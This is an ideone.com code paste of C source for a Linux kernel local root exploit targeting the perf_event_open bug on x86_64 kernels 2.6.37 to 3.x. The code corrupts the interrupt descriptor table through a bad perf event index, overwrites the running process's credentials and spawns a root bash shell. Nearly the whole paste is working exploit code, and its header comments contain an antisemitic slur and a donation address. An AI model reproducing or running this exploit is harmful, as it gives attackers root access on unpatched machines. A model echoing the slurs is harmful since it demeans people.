fork(2) download
copy 
  1. /*
  2.  * linux 2.6.37-3.x.x x86_64, ~100 LOC
  3.  * gcc-4.6 -O2 semtex.c && ./a.out
  4.  * 2010 sd@fucksheep.org, salut!
  5.  *
  6.  * update may 2013:
  7.  * seems like centos 2.6.32 backported the perf bug, lol.
  8.  * jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
  9.  */
  10.  
  11. #define _GNU_SOURCE 1
  12. #include <stdint.h>
  13. #include <stdio.h>
  14. #include <stdlib.h>
  15. #include <string.h>
  16. #include <unistd.h>
  17. #include <sys/mman.h>
  18. #include <syscall.h>
  19. #include <stdint.h>
  20. #include <assert.h>
  21.  
  22. #define BASE  0x380000000
  23. #define SIZE  0x010000000
  24. #define KSIZE  0x2000000
  25. #define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))
  26.  
  27. void fuck() {
  28.   int i,j,k;
  29.   uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };
  30.   uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));
  31.   uint64_t kbase = ((uint64_t)current)>>36;
  32.   uint32_t *fixptr = (void*) AB(1);
  33.   *fixptr = -1;
  34.  
  35.   for (i=0; i<4000; i+=4) {
  36.     uint64_t *p = (void *)&current[i];
  37.     uint32_t *t = (void*) p[0];
  38.     if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
  39.     for (j=0; j<20; j++) { for (k = 0; k < 8; k++)
  40.       if (((uint32_t*)uids)[k] != t[j+k]) goto next;
  41.       for (i = 0; i < 8; i++) t[j+i] = 0;
  42.       for (i = 0; i < 10; i++) t[j+9+i] = -1;
  43.       return;
  44. next:;    }
  45.   }
  46. }
  47.  
  48. void sheep(uint32_t off) {
  49.   uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };
  50.   int fd = syscall(298, buf, 0, -1, -1, 0);
  51.   assert(!close(fd));
  52. }
  53.  
  54.  
  55. int  main() {
  56.   uint64_t  u,g,needle, kbase, *p; uint8_t *code;
  57.   uint32_t *map, j = 5;
  58.   int i;
  59.   struct {
  60.     uint16_t limit;
  61.     uint64_t addr;
  62.   } __attribute__((packed)) idt;
  63.   assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
  64.   memset(map, 0, SIZE);
  65.   sheep(-1); sheep(-2);
  66.   for (i = 0; i < SIZE/4; i++) if (map[i]) {
  67.     assert(map[i+1]);
  68.     break;
  69.   }
  70.   assert(i<SIZE/4);
  71.   asm ("sidt %0" : "=m" (idt));
  72.   kbase = idt.addr & 0xff000000;
  73.   u = getuid(); g = getgid();
  74.   assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
  75.   memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024);
  76.   memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf",
  77.     printf("2.6.37-3.x x86_64\nsd@fucksheep.org 2010\n") % 27);
  78.   setresuid(u,u,u); setresgid(g,g,g);
  79.   while (j--) {
  80.     needle = AB(j+1);
  81.     assert(p = memmem(code, 1024, &needle, 8));
  82.     if (!p) continue;
  83.     *p = j?((g<<32)|u):(idt.addr + 0x48);
  84.   }
  85.   sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);
  86.   asm("int $0x4");  assert(!setuid(0));
  87.   return execl("/bin/bash", "-sh", NULL);
  88. }
  89.  
Runtime error #stdin #stdout 0.24s 264128KB
comments (?)
stdin
copy 
Standard input is empty
stdout
copy 
Standard output is empty
https://ideone.com/spMLJt
language:
C (gcc 8.3)
created:
11 years ago
visibility:
public

Share or Embed source code

Discover > Sphere Engine API

The brand new service which powers Ideone!

Discover > IDE Widget

Widget for compiling and running the source code in a web browser!